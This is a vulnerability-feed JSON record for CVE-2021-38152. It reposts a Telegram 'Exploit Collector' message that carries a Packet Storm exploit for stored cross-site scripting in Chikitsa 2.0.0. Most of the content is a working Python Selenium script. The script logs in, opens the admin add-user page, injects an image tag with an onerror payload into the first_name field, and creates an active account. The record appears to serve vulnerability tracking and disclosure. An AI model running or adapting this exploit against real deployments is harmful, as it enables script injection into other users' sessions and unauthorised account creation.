{"uuid": "82ed2528-1b92-4cd9-a57d-c3293669b28d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38152", "type": "seen", "source": "https://t.me/hacking_Attack/20123", "content": "Exploit Collector\nChikitsa 2.0.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChikitsa version 2.0.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 56c7c313e44db5bcbdb1bb7d718c5928\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on Chikitsa 2.0.0 parameter \"first_name\"\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.09.2021\n# Vendor: https://chikitsa.net/\n# Link: https://sourceforge.net/projects/chikitsa/\n# CVE: CVE-2021-38152\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-38152\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/Chikitsa2.0.0/index.php/login/index\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"username\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n## Exploit\ntime.sleep(3)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/Chikitsa2.0.0/index.php/admin/add_user\n\"))\n\n## buttons\n\nbrowser.execute_script(\"document.querySelector('[class=\\\"form-control\\\"]').value=\\\"Doctor\\\"\")\n\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n'Mr'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector\n('[name=\\\"first_name\\\"]').value = ' \nhttps://raw.githubusercontent.com/nu11secur1ty/XSSight/master/XSS-image/image/kostaakatil.webp\nonerror=alert(1) />'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"middle_name\\\"]').value\n= 'Userov'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"last_name\\\"]').value\n= 'Userski'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"username\\\"]').value\n= 'D0ct0rA'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"password\\\"]').value\n= 'password'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"passconf\\\"]').value\n= 'password'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('#is_active').checked =\ntrue\")\n\n## submit\n\nbrowser.execute_script(\"document.querySelector('[name=\\\"submit\\\"]').click()\")\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38152\n# Proof: https://streamable.com/wbo5c1\n# BR nu11secur1ty\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:28.504440Z"}